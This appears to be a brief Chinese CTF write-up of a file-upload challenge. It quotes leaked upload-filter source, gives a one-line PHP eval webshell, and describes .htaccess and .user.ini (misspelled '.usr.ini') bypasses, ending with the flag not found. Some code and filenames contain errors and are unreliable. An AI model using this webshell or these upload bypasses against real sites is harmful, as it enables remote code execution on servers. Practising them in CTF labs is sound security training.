ctfshow web13 文件上传
试了好多文件名 都没有上传成功
没有突破点就扫一下目录 御剑扫出upload.php 加上.bak 尝试一下源码泄露
<?php header("content-type:text/html;charset=utf-8"); $filename = $_FILES['file']['name']; $temp_name = $_FILES['file']['tmp_name']; $size = $_FILES['file']['size']; $error = $_FILES['file']['error']; $arr = pathinfo($filename); $ext_suffix = $arr['extension']; if ($size > 24){ die("error file zise"); } if (strlen($filename)>9){ die("error file name"); } if(strlen($ext_suffix)>3){ die("error suffix"); } if(preg_match("/php/i",$ext_suffix)){ die("error suffix"); } if(preg_match("/php/i"),$filename)){ die("error file name"); } if (move_uploaded_file($temp_name, './'.$filename)){ echo "文件上传成功!"; }else{ echo "文件上传失败!"; } ?>
文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,后缀和不包含后缀的文件名都不能包含php
上传1.txt 短标签一句话木马
<?=@eval($_POST['a']);?>或者是<?php eval($_POST['a']);
怎么让他当做php被解释执行呢 我考虑上传.htaccess文件 这是apache的配置文件如果里面包含
SetHandler application/x-httpd-php 设置当前所有目录都被当做php文件解析 无论上传任何文件 只要内容符合php规范 都会被当做php代码执行,不符合则报错 但是文件太大了 超过了字节限制 考虑上传.usr.ini 文件 里面是 auto_prepend_file =1.txt auto_prepend_file 表示在加载第一个PHP代码之前先行预加载该配置所指示的PHP文件,在开发中不用每个php文件都要重复包含同一个文件 上传.usr.ini 文件后表示该目录下的所有文件都会包含a.txt的内容 webshell工具也是连不上的 最后试了其他师傅的方法也没找到flag。。 伤脑筋。。